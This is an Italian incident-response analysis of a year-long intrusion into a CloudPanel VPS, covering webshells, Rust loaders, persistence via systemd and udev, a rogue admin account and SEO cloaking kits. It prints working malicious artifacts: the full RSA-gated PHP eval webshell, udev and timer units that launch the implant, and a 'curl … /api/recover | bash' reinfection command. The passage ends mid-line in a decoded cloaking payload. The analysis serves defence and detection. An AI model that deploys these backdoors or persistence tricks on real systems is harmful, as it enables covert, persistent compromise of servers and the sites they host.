Un anno dentro una VPS: anatomia di un'intrusione contro CloudPanel tra backdoor in Rust, generator systemd e cloaking SEO

Pubblicato il 13 September 2026 Aggiornato il 13 September 2026 5 visualizzazioni

Analisi tecnica di un incidente reale su una VPS Linux gestita con CloudPanel: tecniche, strumenti, infrastruttura e indicatori di compromissione dell'attaccante, con regole YARA e controlli pronti da eseguire.

Premessa

In questo articolo descrivo l'analisi di un'intrusione che ho seguito su una VPS Linux (Ubuntu 22.04) gestita con CloudPanel. Ho omesso di proposito ogni riferimento al sistema colpito e a chi lo gestisce: nomi host, indirizzi IP, domini ospitati, utenti e dati applicativi. Ho lasciato invece in chiaro tutto ciò che riguarda l'attaccante: domini, URL, hash, chiavi pubbliche, identità fittizie e artefatti. Chi gestisce server simili deve poter riconoscere la stessa campagna.

Gli IOC di rete sono scritti in forma defanged (hxxps, [.]) per evitare click accidentali, anche dentro i blocchi di codice e le stringhe estratte dai campioni. Fanno eccezione le regole YARA e i comandi di verifica della sezione 15, dove i nomi restano in chiaro perché devono corrispondere ai campioni ed essere eseguibili.

L'analisi l'ho condotta in due momenti:

  1. Live, sul sistema ancora compromesso, con privilegi di root. Tenevo presente che un attaccante con root può manipolare l'output di qualsiasi comando: per questo ho fatto i controlli critici leggendo direttamente /proc, i timestamp statx (incluso il birth time) e i checksum dei pacchetti (dpkg), e ne ho verificato la coerenza incrociata.
  2. Offline, su copie dei campioni e dei log. Qui ho fatto solo analisi statica (stringhe, entropia, simboli, decodifica) e OSINT passiva. Non ho eseguito nessun campione e non ho contattato nessuna infrastruttura dell'attaccante.

Dove una conclusione è un'ipotesi e non un fatto dimostrato, lo scrivo esplicitamente.

1. Sintesi

  • Durata: compromissione completa a livello root, attiva e persistente per circa 13 mesi (dall'agosto 2025 al settembre 2026).
  • Probabile vettore: il pannello CloudPanel fermo a una versione vulnerabile, più il privilegio sudo NOPASSWD che CloudPanel concede di default all'utente di servizio clp.
  • Accesso esclusivo: 9 webshell PHP che eseguono solo codice firmato con una chiave RSA privata, con due chiavi distinte.
  • Stage 1: ELF cifrato che si maschera da processi di sistema.
  • Stage 2: loader in Rust ("PHANTOM_LOADER") che decifra ed esegue il payload solo in memoria. Al momento dell'analisi girava in 107 processi travestiti da thread del kernel (kworker, watchdog, migration, ksoftirqd…).
  • Canale di comando: C2 su HTTPS dietro Cloudflare, api.githubresource[.]com, con risoluzione dei nomi via DNS-over-HTTPS per non lasciare tracce nel DNS locale.
  • Persistenza a più livelli: due falsi generator systemd, una regola udev che scatta a ogni boot e a ogni refresh di snapd, un timer systemd, un binario SUID root travestito da chattr, file resi immutabili con chattr +i, timestomping e un endpoint di reinfezione (/api/recover).
  • Persistenza applicativa: un amministratore CloudPanel pirata scritto direttamente nel database, senza eventi di audit.
  • Monetizzazione: due kit di SEO spam:
  • "ROOT-SEO Connector v5.4", che vende backlink iniettati nei siti ospitati;
  • un kit specifico per CloudPanel (cp.txt) che inserisce in php.ini un proxy di cloaking verso domini legati a una rete di gioco d'azzardo online indonesiana, e inietta JavaScript nel jquery.min.js del pannello.

Obiettivo: tenere un server "posseduto" stabile e silenzioso, da usare come nodo e come fonte di reputazione dei domini per lo spam. Non ho trovato segni di ransomware, distruzione o mining: il consumo di CPU dei processi malevoli era trascurabile.

2. Contesto: perché CloudPanel è un bersaglio interessante

CloudPanel è un pannello di hosting gratuito molto diffuso su VPS economiche. Due caratteristiche lo rendono appetibile.

1. L'utente di servizio può diventare root senza password. Nell'installazione standard il pannello gira come utente clp, che ha in /etc/sudoers.d:

clp ALL=(ALL) NOPASSWD: ALL

Qualsiasi esecuzione di codice ottenuta come clp equivale quindi, di fatto, a root.

2. Ha una storia di vulnerabilità con exploit pubblici:

  • CVE-2023-35885: bypass dell'autenticazione tramite il cookie del file manager, che porta a RCE. Colpisce le versioni 2.0.0–2.3.0.
  • CVE-2023-46157: OS command injection. Colpisce le versioni 2.0.0–2.3.2.

Il database di configurazione del pannello compromesso riportava app_version = 2.3.2: mai aggiornato dal 2023.

3. Vettore d'ingresso (ricostruzione e limiti)

Lo dico subito: il vettore iniziale non è dimostrabile con certezza. Quando ho iniziato l'analisi, il journal copriva appena 7 giorni e auth.log 5, contro più di un anno di permanenza dell'attaccante. Gli elementi convergono comunque in modo netto sul pannello.

  1. Il primo artefatto in assoluto è dentro CloudPanel. È la webshell /home/clp/htdocs/app/files/public/phpmyadmin/examples/openid-script.php, proprietario clp, nata alle 08:38:41.586 del giorno dell'intrusione.
  2. Root arriva dopo 0,3 secondi. Il primo ELF di proprietà root, /usr/libexec/systemd-helper, ha birth time 08:38:41.902. È un'operazione scriptata: esecuzione come clp, poi sudo, poi drop del binario.
  3. Nel pannello c'erano utenti creati senza eventi di audit. Nella tabella event del database SQLite di CloudPanel mancano del tutto gli eventi ADMIN_USER_ADD di due account apparsi nella tabella user:

    • bryan52: nome "Edward Ellis", wardshannon@gmail.com, ruolo ROLE_USER. Esisteva prima dell'intrusione, e l'amministratore legittimo lo ha cancellato due settimane prima;
    • nataliejohnson: nome "Jessica Farley", kramershane@gmail.com, ruolo ROLE_ADMIN, MFA disattivato. È comparso due mesi dopo l'intrusione.

    La creazione senza audit indica una scrittura diretta nel file SQLite (con root o come clp), non l'uso dell'interfaccia.

  4. La versione del pannello era vulnerabile. 2.3.2 rientra nel range di CVE-2023-46157.

La mia ricostruzione più probabile è questa: accesso al pannello, poi esecuzione di comandi come clp, poi sudo, infine root. SSH non mostra evidenze a favore, ma i log disponibili non bastano per escluderlo.

4. Timeline dell'attacco

Gli orari sono in UTC. La colonna "Evidenza" indica la fonte del dato.

Momento Evento Evidenza
18/04/2025 Registrazione del dominio C2 githubresource[.]com (GoDaddy, privacy proxy) WHOIS/RDAP, CT log
T0 = 23/08/2025 08:38:41.586 Webshell openid-script.php nel phpMyAdmin di CloudPanel (chiave RSA #2) birth statx
T0 + 0,3 s ELF stage 1 /usr/libexec/systemd-helper (root) birth statx
T0 + 23 min /usr/sbin/tmpfiles-prime (stesso ELF), symlink /usr/local/sbin/bootd, generator systemd-lvm-topology-generator birth, stringhe
T0 + 7 h Falso /usr/libexec/dbus-daemon (il vero è /usr/bin/dbus-daemon) birth, dpkg -S
T0 + 7 h (1 s dopo) 8 webshell (chiave RSA #1) nelle document root dei siti, nomi casuali di 8 caratteri, ctime identico al nanosecondo statx
04/09/2025 Terza copia di stage 1 /usr/libexec/gnome-session-binary; chattr +i sulla webshell del pannello birth/ctime, lsattr
13/10/2025 Admin pirata nataliejohnson scritto nel DB di CloudPanel tabella user, nessun evento
21/07/2026 /tmp/seo-config.php: ROOT-SEO Connector v5.4 (proprietario clp) birth, contenuto
24/07/2026 09:02 Stage 2: /usr/lib64/libsystemd-journald-backend.so.0.1, /usr/bin/chuser SUID root, PID file /dev/shm/.dbus-e411b8a324c8129d birth
24/07/2026 09:35 Persistenza stage 2, tutta immutabile e con mtime falsificato al 23/01/2026 10:51:17: libaudit-base.so.3, libjournald-runtime.so.0, regola udev, timer/service, generator systemd-netlink-sync-generator birth vs mtime, lsattr
25/07/2026 Terzi scansionano su urlscan.io git.githubresource[.]com/cp/cp.txt, /bash e 16cr[.]com/idnxy.html urlscan.io
14/08/2026 Nuova versione di cp.txt (26 KB), con endpoint di cloaking cambiato urlscan.io
fino all'analisi Nuove istanze del malware ogni notte e a ogni refresh di snapd: 107 processi mascherati, 19 sessioni TLS verso il C2 /proc, /proc/net/tcp, syslog

Il timestomping si nota bene. I file dello stage 2 hanno mtime = 2026-01-23 10:51:17 (tutti identici, al secondo), mentre birth e ctime sono di sei mesi dopo. Chi guarda un semplice ls -l vede file "vecchi"; stat con il campo Birth smaschera la falsificazione.

5. Webshell PHP con esecuzione firmata RSA

5.1 Codice

Le 8 webshell nelle document root sono identiche: SHA-256 749f5b949e6f3c79dbce6d1087605cab5fce00faf16f1633dff18ccadd3ff2a0, 1028 byte.

<?php
define('PUBKEY', <<<KEY
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdQoJvPf1Lc+bBhzCRRCaM9+Ag
CtYpaPLALpHC/zEi6hk0iNAou+64U1CinkcoLF2N7DVHfpJQnPkDsZG2R4GysvZh
ZTBBksLhWpKbfiDUKQmYR0lmXzVAN0758jsLi7dDVc6GTTUKjIHudQcr1WyyXKbt
3+hyF2H9lkA2Ng+iywIDAQAB
-----END PUBLIC KEY-----
KEY
);
function pipeline($data, $steps) {
    foreach ($steps as $fn) { $data = $fn($data); }
    return $data;
}
echo "OpenALL";
$splitter  = function($cmd) { return explode('|', $cmd); };
$decryptor = function($segments) {
    $pk = openssl_pkey_get_public(PUBKEY);
    $result = [];
    foreach ($segments as $segment) {
        if (openssl_public_decrypt(base64_decode($segment), $out, $pk)) { $result[] = $out; }
    }
    return $result;
};
$joiner   = function($arr) { return implode('', $arr); };
$executor = function($cmd) { return eval($cmd); };
pipeline(@$_POST['OpenSSL'], [$splitter, $decryptor, $joiner, $executor]);
?>

5.2 Come funziona

  1. Il parametro POST (OpenSSL) contiene blocchi base64 separati da |.
  2. Ogni blocco viene "decifrato" con openssl_public_decrypt usando la chiave pubblica incorporata. È in pratica una verifica di firma: solo chi possiede la chiave privata può produrre blocchi validi.
  3. I blocchi decifrati vengono concatenati e passati a eval().

Ne derivano due conseguenze:

  • Nessun altro può usare la webshell. Chi la trova non può riutilizzarla, e un secondo attaccante non può "rubare" il server. È un meccanismo di esclusività.
  • Il payload non si vede nei log di nginx. Si vedrebbe solo un POST a un file .php con nome casuale. Le richieste GET restituiscono appena la stringa OpenALL (7 byte), utile come health check per l'operatore.

La pipeline di closure ($splitter, $decryptor, $joiner, $executor) evita pattern classici come eval(base64_decode( e abbassa il rilevamento da parte degli scanner basati su firme.

5.3 La variante nel pannello

Nel pannello c'è una seconda versione: openid-script.php, SHA-256 fa753f9e3e657aaf8cb0b7d1e33fcda163359bf9c5183d0478b34f892a329c54, 1015 byte. Stesso codice, senza echo "OpenALL", con parametro POST CloudPanel e una chiave diversa:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt/Gk9ZQQK0fWd/j0QOeZ4EDVY
2m6FSp8O97Xvl9yi6UmesxSVSBSqNHM7sR8JsMUs98oCEBkjkBfOBMV570NxXS8V
sJGhGGDxPTNhyS0k4dOCA83xfXL6l3PEtGPh+E6T0CvcHP8+xlXQ4jfck9yDs2VP
8uiZJzTtwlupac5XZQIDAQAB
-----END PUBLIC KEY-----

Il nome del file e il percorso (phpmyadmin/examples/) sono scelti per sembrare parte della distribuzione di phpMyAdmin. Il file è stato reso immutabile (chattr +i) e ha mtime falsificato alla data di installazione del pannello.

C'è poi un effetto collaterale importante: CloudPanel esegue un backup giornaliero di /home/clp. La webshell era quindi finita anche in tutti i backup (/home/clp/backups/*/app/files/public/phpmyadmin/examples/openid-script.php). Ripristinare un backup avrebbe ripristinato la backdoor.

Le due chiavi RSA distinte, usate a 7 ore di distanza nello stesso giorno, fanno pensare a due kit o due operatori. Resta un'ipotesi.

6. Stage 1: l'ELF cifrato

Campo Valore
SHA-256 04ab8107fbd0b3bc599aa3ec1e3ccaea3e63e7807dd4399c0ffb74c54ba7418e
Dimensione 5.222.752 byte
Tipo ELF 64-bit x86-64 PIE, linkato dinamicamente, strippato
Copie /usr/libexec/systemd-helper, /usr/libexec/dbus-daemon, /usr/libexec/gnome-session-binary, /usr/sbin/tmpfiles-prime (+ symlink /usr/local/sbin/bootd)

Il corpo è interamente cifrato. Ho misurato l'entropia a blocchi da 512 KB: 7,94 nel primo blocco, 8,00 in tutti gli altri. Non ci sono firme UPX, stream zlib o ELF annidati in chiaro: il payload è cifrato, non semplicemente compresso.

Le poche stringhe leggibili servono a sembrare un tool legittimo:

Usage: %s [options]
  -h, --help     Display this help message
  -v, --version  Show version information
  -c, --check    Check system compatibility
  -t, --test     Run system tests
-daemons
Fini at work
/proc/self/comm
/dev/urandom

/proc/self/comm indica che il processo riscrive il proprio nome. Al momento dell'analisi il PID 136 aveva come eseguibile (/proc/136/exe) tmpfiles-prime, ma si presentava come /lib/systemd/systemd. Aveva anche due socket in CLOSE-WAIT verso il C2 sulla porta 80.

Anche i nomi dei file sono scelti con cura: dbus-daemon, gnome-session-binary e systemd-helper sono nomi plausibili in /usr/libexec e passano inosservati a un ls distratto. Nessuno appartiene però a un pacchetto installato (dpkg -S restituisce vuoto).

7. Stage 2: "PHANTOM_LOADER", un loader ELF in memoria scritto in Rust

7.1 Identità

Campo Valore
SHA-256 1b1f6fac895cef4c0f6c48b873c8817291f297361c817a0dd46be522fdcc8a07
Dimensione 1.787.088 byte
Tipo ELF 64-bit x86-64 static-pie, strippato
Copie /usr/local/lib/libaudit-base.so.3, /usr/local/lib/libjournald-runtime.so.0, /usr/lib64/libsystemd-journald-backend.so.0.1

L'estensione .so è un travestimento: non sono librerie ma eseguibili, che nessun programma legittimo carica.

7.2 Toolchain (dalle stringhe)

rustc version 1.98.0-nightly (e7815e522 2026-06-04)
clang version 18.1.6 (https://github.com/ziglang/zig-bootstrap 98bc6bf4fc4009888d33941daf6b600d20a42a56)
/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/elf_loader-0.15.1/...
/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/miniz_oxide-0.8.9/...
src/main.rs

Il binario è compilato con Rust nightly e linkato con zig/clang: probabilmente cargo-zigbuild, dentro un container (/usr/local/cargo, /usr/local/rustup). Usa il crate elf_loader per caricare e riallocare un ELF da un buffer.

7.3 Stringhe funzionali

PHANTOM_LOADER_ARGV_PADDED
/proc/self/exe
/usr/lib/systemd/systemd-journald
invalid executable ELF payload
exec relocate failed
only little-endian ELF payloads are supported
load_exec failed
daemon

Il comportamento che ne ricavo è questo:

  1. il payload vero è incorporato nel binario (cifrato: le stringhe Adler32Mismatch/DecompressError di miniz_oxide indicano anche una fase di decompressione);
  2. il loader lo decifra, lo decomprime e lo mappa e rialloca in memoria senza mai scriverlo su disco;
  3. la variabile d'ambiente PHANTOM_LOADER_ARGV_PADDED e la stringa /usr/lib/systemd/systemd-journald servono a riscrivere argv[0] con spazio "imbottito", così il processo appare con un nome arbitrario;
  4. la variabile daemon=true, passata dalla regola udev (vedi la sezione 8.2), attiva la modalità demone.

A runtime i processi si presentavano con nomi tra parentesi quadre, come i thread del kernel: [watchdog/0], [watchdogd], [kworker/0:2], [migration/1], [ksoftirqd/0], [cpuhp/3], [scsi_eh_1], [idle_inject/3], [irq/24-pciehp], [kauditd], [rcu_preempt]… A differenza dei thread veri, però, avevano VSZ/RSS diversi da zero, un PPID diverso da kthreadd (2) e un /proc/<pid>/exe che puntava ai file dello stage 2.

Ogni attivazione lasciava in vita una coppia di processi:

  • un padre Ss con nome watchdog*;
  • un figlio multithread Sl con nome da kworker o simile.

Le vecchie istanze non terminavano mai: dopo una cinquantina di giorni i processi erano 107, di cui 19 con sessioni TLS stabilite verso il C2 nello snapshot di ss che ho analizzato (un conteggio precedente, fatto qualche minuto prima, ne dava 17: il numero varia perché le sessioni vengono aperte e chiuse di continuo).

7.4 Impronta sulle risorse

In circa 40 giorni ogni processo aveva accumulato pochi minuti di CPU (TIME tra 0:30 e 5:44). Questo esclude il cryptomining. Il profilo è quello di un agente in attesa di comandi: connessione persistente, consumo minimo, pronto a ricevere compiti.

La funzione finale del payload non l'ho potuta osservare. Esiste solo decifrato in memoria, e i processi sono stati terminati prima di un'acquisizione della RAM.

8. Persistenza: un sistema a strati

L'attaccante ha costruito quattro meccanismi indipendenti che si coprono a vicenda, più una reinfezione via rete. Tutti i file dello stage 2 erano immutabili (lsattr----i---------e-------).

8.1 Timer systemd: il trigger quotidiano

/lib/systemd/system/system-dependency-tracker.timer:

[Unit]
Description=System Service

[Timer]
OnCalendar=*-*-* 01:00:00
Persistent=true
Unit=system-dependency-tracker.service

[Install]
WantedBy=timers.target

/lib/systemd/system/system-dependency-tracker.service:

[Unit]
Description=System Service
After=network.target

[Service]
Type=oneshot
ExecStart=/usr/bin/udevadm trigger --action=change --sysname-match=loop0
StandardOutput=null
StandardError=null
RemainAfterExit=no

La trovata sta nel fatto che il timer non lancia il malware. Genera un falso evento udev change sul device loop0, e un analista che ispeziona ExecStart vede solo un innocuo udevadm.

8.2 Regola udev: l'esecutore

/etc/udev/rules.d/75-random-init.rules:

# Entropy device initialization hook
ACTION=="add", KERNEL=="random", RUN+="/usr/bin/systemd-run --no-block --slice=background.slice -p KillMode=none -p CollectMode=inactive-or-failed -E daemon=true /usr/local/lib/libjournald-runtime.so.0"
ACTION=="change", SUBSYSTEM=="block", RUN+="/usr/bin/systemd-run --no-block --slice=background.slice -p KillMode=none -p CollectMode=inactive-or-failed -E daemon=true /usr/local/lib/libjournald-runtime.so.0"
ACTION=="change", SUBSYSTEM=="block", KERNEL=="loop0", RUN+="/usr/bin/systemd-run --no-block --slice=background.slice -p KillMode=none -p CollectMode=inactive-or-failed -E daemon=true /usr/local/lib/libjournald-runtime.so.0"

Le scelte tecniche sono precise:

  • KERNEL=="random" scatta a ogni boot, quando viene creato /dev/random;
  • SUBSYSTEM=="block" scatta a qualsiasi evento change su un device a blocchi. Nel syslog ho verificato che gli avvii fuori orario del malware (04:18, 08:17, 17:37) coincidono al secondo con i refresh automatici di snapd, che montano gli snap su device loop (vedi il syslog riportato sotto);
  • systemd-run crea un'unità transient (run-r<hex>.service) con KillMode=none. Quando l'unità termina, systemd non uccide il processo figlio, che resta orfano e in vita. systemd 249 lo segnala nel journal ("Unit configured to use KillMode=none. This is unsafe…"), e ripete l'avviso a ogni daemon-reload;
  • udev uccide i processi lanciati da RUN+= allo scadere del timeout dell'evento (per default 180 s) e comunque li vincola al ciclo di vita dell'evento. Delegare a systemd-run --no-block sgancia il demone da udev e aggira questo limite.

Questa è la sequenza registrata nel syslog in corrispondenza di un refresh di snapd:

systemd[1]: Mounting Mount unit for core24, revision 2124...
kernel: loop31: detected capacity change from 0 to 136784
systemd[1]: Mounted Mount unit for core24, revision 2124.
systemd[1]: Started /usr/local/lib/libjournald-runtime.so.0.

Il malware si agganciava a un'attività legittima e periodica del sistema (snapd controlla gli aggiornamenti circa quattro volte al giorno). In una prima lettura avevo attribuito gli avvii all'fstrim notturno eseguito dall'agente guest dell'hypervisor; il confronto puntuale con il syslog lo esclude, perché fstrim non genera eventi udev sul device.

Nel syslog la catena di attivazione si vede così:

systemd[1]: Starting System Service...
systemd[1]: system-dependency-tracker.service: Deactivated successfully.
systemd[1]: Started /usr/local/lib/libjournald-runtime.so.0.
libjournald-runtime.so.0[334595]: OK
systemd[1]: run-r62288ad6cdd14b5f88740e52e8c476cf.service: Unit process 334597 (exe) remains running after unit stopped.

La riga "remains running after unit stopped" è la firma di KillMode=none.

8.3 Generator systemd n. 1: systemd-lvm-topology-generator

Campo Valore
Percorso /usr/lib/systemd/system-generators/systemd-lvm-topology-generator (e copia in /lib/...)
SHA-256 211fb1b99129f7f496ef877489aa22709b0bebd2951f235ca7ef3160e1bd39f6
Tipo ELF statico musl 1.2.4, non strippato, con debug info

I generator sono eseguibili che systemd lancia nelle primissime fasi del boot (e a ogni daemon-reload), prima di leggere le unit. Pochi amministratori li controllano.

I simboli rimasti nel binario sono eloquenti:

systemd-fake-generator v252
write_fake_unit
launcher_template.c
/usr/local/sbin/bootd
/run/systemd/system/systemd-devsync.service
/run/systemd/system/multi-user.target.wants/systemd-devsync.service

Contiene anche il template di una unit esca:

[Unit]
Description=Dev Sync Agent
After=network.target
[Service]
Type=oneshot
ExecStart=/usr/bin/ovs-vsctl
[Install]
WantedBy=multi-user.target

Il generator esegue /usr/local/sbin/bootd, cioè lo stage 1, con setsid/execv. Può anche scrivere in /run/systemd/system una unit "Dev Sync Agent" dall'aspetto innocuo. La stringa v252 imita un numero di versione plausibile di systemd (è quella di Debian 12; Ubuntu 22.04, su cui girava, ha la 249: il kit non è stato adattato alla distribuzione) e systemd-fake-generator tradisce la natura del tool.

Campo Valore
Percorso /usr/lib/systemd/system-generators/systemd-netlink-sync-generator
SHA-256 014610c2dc6ad04e9077264d88bd31535a2c6098357527ccd5fef7b7678320ec
Tipo ELF statico glibc, strippato, ~740 KB, immutabile

Questa componente non l'avevo individuata al primo giro. È emersa dopo il primo riavvio, successivo alla rimozione di tutto il resto. Le stringhe chiave:

/usr/local/lib/libaudit-base.so.3
hxxps://api.githubresource[.]com/api/recover
/usr/bin/curl -fsSLk '%s' | bash
/usr/bin/wget -qO- --no-check-certificate '%s' | bash
systemd-generator v252

La logica è semplice: se al boot manca /usr/local/lib/libaudit-base.so.3, cioè se qualcuno ha ripulito lo stage 2, scarica ed esegue uno script di recupero:

curl -fsSLk 'hxxps://api.githubresource[.]com/api/recover' | bash

Se curl non c'è, usa wget. -k / --no-check-certificate disattivano la verifica TLS.

Per confondersi imitava lo stile del generator legittimo di netplan (/lib/systemd/system-generators/netplan), che a ogni boot crea netplan-ovs-cleanup.service. Occhio a non scambiare quest'ultima unit per malevola: è legittima.

Nel mio caso il tentativo di recupero al riavvio non ha ripristinato nulla. Avevo già bloccato il dominio a livello di /etc/hosts e rimosso il generator.

8.5 chuser: il binario SUID root travestito da chattr

Campo Valore
Percorso /usr/bin/chuser, mode 4755 root:root
SHA-256 d9909a2eb507157c66054e89a2db6911dc018651f322dcad9e0d1e412a7b742e
Tipo ELF statico Rust (rustc 31fca3adb283…), strippato, 3,4 MB

Stringhe di facciata, copiate da chattr di e2fsprogs:

Usage: chuser  [-RVl] [-+=AacDdeijsSu] [-v version] files...
version 1.8.23

Stringhe funzionali:

GET /dns-query?name=
&type=A HTTP/1.1
Accept: application/dns-json
Host:
POST
transfer-encoding: chunked
hostname=
/etc/hostname
/etc/resolv.conf
/sys/devices/system/cpu/cpu0/cache
/usr/local/bin:/bin:/usr/bin
exec failed:

Crate usati: rustls, rustls-webpki 0.103.13, aws-lc-rs 1.17.1, base64 0.22.1, hashbrown 0.16.1. Contiene un bundle completo di CA root.

Ne ricavo che:

  • è un client HTTPS autonomo, che non dipende da OpenSSL di sistema;
  • risolve i nomi via DNS-over-HTTPS (formato JSON, application/dns-json, compatibile con Cloudflare e Google). Il dominio del C2 non passa mai dal resolver locale. Durante l'analisi la cache di named non conteneva nulla sugli IP del C2, e ora so perché;
  • raccoglie hostname e caratteristiche della CPU per profilare l'host;
  • può eseguire comandi (exec) e inviare dati via POST chunked;
  • essendo SUID root, chiunque abbia una shell non privilegiata (per esempio una webshell che gira come utente PHP-FPM) torna root con un comando. È un'assicurazione contro la rimozione del sudo di clp.

8.6 PID file e artefatti minori

  • /dev/shm/.dbus-e411b8a324c8129d: PID file nascosto in tmpfs, con un nome che imita il socket di sessione D-Bus. rkhunter lo segnalava ogni giorno come "Hidden file found", e nessuno ci ha fatto caso.
  • Timestomping coerente su tutti gli artefatti dello stage 2 (mtime 2026-01-23 10:51:17.000000000, notare i nanosecondi a zero).

8.7 Schema complessivo

 BOOT ─┬─► generator systemd-lvm-topology-generator ──► /usr/local/sbin/bootd ──► stage 1 (tmpfiles-prime)
       │
       ├─► generator systemd-netlink-sync-generator ──► [se manca libaudit-base.so.3]
       │                                               curl hxxps://api.githubresource[.]com/api/recover | bash
       │
       └─► udev: KERNEL=="random" add ─────────────┐
                                                   │
 01:00 ──► timer system-dependency-tracker         │
           └► udevadm trigger change loop0 ────────┤
                                                   ▼
 ~4×/giorno ► snapd refresh: mount snap su loopN (evento block) ──► udev 75-random-init.rules
                                              └► systemd-run KillMode=none daemon=true
                                                  └► stage 2 PHANTOM_LOADER (libjournald-runtime.so.0)
                                                      └► payload in memoria ── [kworker]/[watchdog]
                                                          └► TLS 443 ──► api.githubresource[.]com (Cloudflare)

 In qualsiasi momento: /usr/bin/chuser (SUID) ──► root
                       webshell RSA ──► eval() come utente PHP ──► chuser/sudo ──► root
 Livello applicativo:  admin CloudPanel "nataliejohnson" scritto nel DB SQLite

9. Persistenza applicativa: l'amministratore fantasma

Nel database SQLite di CloudPanel (/home/clp/htdocs/app/data/db.sq3) c'era questo record:

Campo Valore
user_name nataliejohnson
email kramershane@gmail.com
first/last name Jessica / Farley
role ROLE_ADMIN
mfa 0
created_at = updated_at 2025-10-13 09:45:09

Non esiste nessun evento ADMIN_USER_ADD corrispondente nella tabella event. Nome utente, nome anagrafico ed email sono incoerenti tra loro, tipico dei generatori di identità fittizie ("Faker"). Lo stesso schema vale per bryan52 / "Edward Ellis" / wardshannon@gmail.com.

Scopo: un accesso al pannello alternativo alle webshell. Sopravvive a una pulizia del file system e dà accesso a file manager, database, cron e vhost di tutti i siti.

10. Monetizzazione n. 1: ROOT-SEO Connector v5.4

Campo Valore
Percorso /tmp/seo-config.php (proprietario clp)
SHA-256 f67ebc76ea22ceda6dcd97ecb00d79964c401b2989a1b7efa74d978b4c0e6107
Dimensione 72.349 byte
Pannello hxxps://root-seo[.]com/api
Token vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7w… (troncato di proposito)

È un prodotto "commerciale" per la vendita di backlink su siti compromessi, con un'intestazione che ne documenta le funzioni:

ROOT-SEO Connector v5.4
- Backwards compatible with v5.2/v5.3 protocol (ping, add_link, remove_link, sync_links,
  get_links, clear_links, clear_expired, verify_links, self_reconcile,
  placement_report, info, diagnose, output, capabilities, get_config, set_config, self_update)
- Links now have a "kind": "footer" (sitewide, visible footer) or "contextual"
- Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint.
- Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs
  and self-heals if the primary file is deleted by a CMS/theme update.

Funzionalità tecniche principali:

  • Autenticazione del pannello tramite header X-RS-Panel-Token, con protezione anti-replay (X-RS-Ts, X-RS-Req-Id, nonce valido 900 s).
  • Riconoscimento del CMS (WordPress, Joomla, Drupal, OpenCart, PrestaShop, Laravel) e una catena di strategie di installazione, provate in ordine: wp_mu_pluginwp_functions_hookfooter_patchwp_active_footerindex_patchhtaccess_prependany_php_file.

L'iniezione via .htaccess usa un blocco delimitato da marcatori, che imposta auto_prepend_file su un file nascosto:

# ROOTSEO_HTACCESS_START:<marker>
php_value auto_prepend_file ".../.rs_prepend_v5.php"
# ROOTSEO_HTACCESS_END:<marker>

Completano il quadro:

  • Link nel footer (massimo 50 per sito) e link contestuali iniettati in the_content di WordPress, con TTL massimo di 48 ore.
  • "Guardian": 10 copie nascoste .rs_g1.rs_g10/.rs_connector.php.bak che si auto-ripristinano, con controllo di versione.
  • self_update: scarica il nuovo sorgente da …/api/connector/v5/source.
  • File di stato: .rs_links_v5.json, .rs_v5_config.json, .rs_v5_nonces.json, .rs_guardian_v5.json.

Nel mio caso l'ho trovato solo in /tmp. Nelle document root non c'erano tracce di .rs_*, mu-plugin o marcatori ROOTSEO_: risultava preparato, non installato. È comunque un indicatore affidabile di chi c'era dietro.

11. Monetizzazione n. 2: il kit cp.txt e il cloaking per il gambling indonesiano

Questa parte l'ho ricostruita con OSINT passiva, partendo dal dominio C2.

11.1 Scoperta

Su urlscan.io risultano tre scansioni pubbliche, fatte da terzi, del sottodominio git.githubresource[.]com (il DNS del dominio è wildcard):

Data (UTC) URL Risposta SHA-256 risposta
25/07/2026 15:41 hxxps://git.githubresource[.]com/cp/cp.txt 200, text/plain, 20 KB 39509aaeabc6f5d955fa0408600494edf7568f80bf3ebab1cd8e21e686926d2e
25/07/2026 16:19 hxxps://git.githubresource[.]com/bash 401, 13 B b2a429b6c05a821ad38d7f4440dab4bfeb548cf5fd9b1db50f6310c457e6a42e
14/08/2026 09:11 hxxps://git.githubresource[.]com/cp/cp.txt 200, text/plain, 26 KB b04e0a88bfb3d3881104d0ec5cf09f74fcb72afeb2e44575c4c7516b90fabb5c

La prima scansione cade il giorno dopo l'installazione dello stage 2 sul sistema che ho analizzato. /bash richiede autenticazione: è verosimilmente l'installer principale, distribuito solo a client autorizzati.

11.2 Contenuto di cp.txt

Gli screenshot archiviati mostrano uno script Python 2/3 (from __future__ import print_function, unicode_literals, helper open_compat/write_compat). I commenti sono in cinese, con encoding rovinato nel rendering (é…ç½® = 配置, "configurazione"). La struttura:

# NGINX
NGINX_DIRS = [
    "/etc/nginx/conf.d",
    "/etc/nginx/sites-enabled",
    "/etc/nginx/sites-available",
    "/usr/local/nginx/conf.d"
]

# PHP
PHP_BASE_DIR = '/etc/php'

# php.ini  auto_prepend_file
AUTO_PREPEND_FILE_VALUE = 'auto_prepend_file="data:;base64,PD9waHAK..."'

# JS
JS_INJECT_BASE_DIRS = [
    '/home/clp/htdocs/app/files/public',
]
JS_INJECT_REL_PATH = 'assets/js/jquery.min.js'
JS_INJECT_CODE = ( ...

Il kit è specifico per CloudPanel: cp sta per CloudPanel, e il percorso /home/clp/htdocs/app/files/public è la web root del pannello. Fa tre cose:

  1. scandisce e modifica le configurazioni nginx di tutti i vhost;
  2. inserisce in ogni php.ini sotto /etc/php una direttiva auto_prepend_file con URI data:, cioè codice PHP inline in base64. Non serve nessun file su disco, e il codice viene eseguito prima di ogni script PHP di ogni sito;
  3. inietta JavaScript nel jquery.min.js del pannello CloudPanel. Il contenuto di JS_INJECT_CODE non è visibile negli screenshot. In una pagina di login di amministrazione, un'iniezione del genere serve tipicamente a rubare credenziali o a reindirizzare: la mia è un'inferenza, non una verifica.

11.3 Payload PHP decodificato

Ho trascritto e decodificato la parte iniziale del base64 da entrambe le versioni.

Versione del 25/07/2026:

<?php
set_time_limit(0);
error_reporting(0);
ini_set('display_errors','0');
ini_set('log_errors','0');
$remote_base='hxxps://16cr[.]com/idnxy2?domain=';
function normalize_encoding($content){if(function_exists('mb_convert_encoding'))return mb_convert_encoding($content,'UTF-8','auto');return $content;}
function extract_http_code($header_lines){foreach($hea…

